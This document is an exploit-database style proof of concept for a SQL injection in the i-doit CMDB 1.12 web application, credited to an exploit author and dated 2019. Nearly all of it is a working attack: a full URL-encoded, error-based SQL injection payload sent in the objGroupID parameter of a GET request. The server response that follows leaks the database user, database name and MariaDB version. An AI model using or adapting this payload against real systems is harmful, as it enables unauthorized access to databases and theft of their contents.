i-doit CMDB 1.12 SQL Injection

`# Exploit Title: i-doit CMDB 1.12 - SQL Injection  
# Dork: N/A  
# Date: 2019-01-11  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: https://www.i-doit.org/  
# Software Link: https://netcologne.dl.sourceforge.net/project/i-doit/i-doit/1.12/idoit-open-1.12.zip  
# Version: 1.12  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/?objGroupID=[SQL]  
# Users..  
#   
  
GET /[PATH]/?objGroupID=%31%32%27%7c%7c%28SeleCT%20%27Efe%27%20FroM%20duAL%20WheRE%20110=110%20AnD%20%28seLEcT%20112%20frOM(SElecT%20CouNT(*)%2cConCAT%28CONcat(0x203a20%2cUseR()%2cDAtaBASe()%2cVErsION())%2c(SeLEct%20%28ELT(112=112%2c1%29%29%29%2cFLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x%29a%29%29%7c%7c%27 HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=h6qbu3jsemq9en8c3epiri8323  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Sat, 12 Jan 2019 16:47:58 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
i-doit-Authorized: 1  
X-i-doit-Notification-0: {"message":"Database error : Query error: 'SELECT DISTINCT(isys_obj_type_group__const) FROM isys_obj_type\r\n\t\t\tINNER JOIN isys_obj_type_group ON isys_obj_type_group__id = isys_obj_type__isys_obj_type_group__id WHERE isys_obj_type_group__status = 2 AND isys_obj_type_group__id = '12'||(SeleCT 'Efe' FroM duAL WheRE 110=110 AnD (seLEcT 112 frOM(SElecT CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct (ELT(112=112,1))),FLooR(RAnd(0)*2))x FROM INFOrmatION_SchEMA.PluGINS grOUp BY x)a))||'' ORDER BY isys_obj_type_group__sort, isys_obj_type_group__const ASC LIMIT 0,1':\nDuplicate entry ' : admin@localhostidoit_data10.1.21-MariaDB11' for key 'group_key'\n","type":2,"options":{"sticky":true,"width":"400px","header":""}}  
Keep-Alive: timeout=5, max=87  
Connection: Keep-Alive  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=utf-8  
`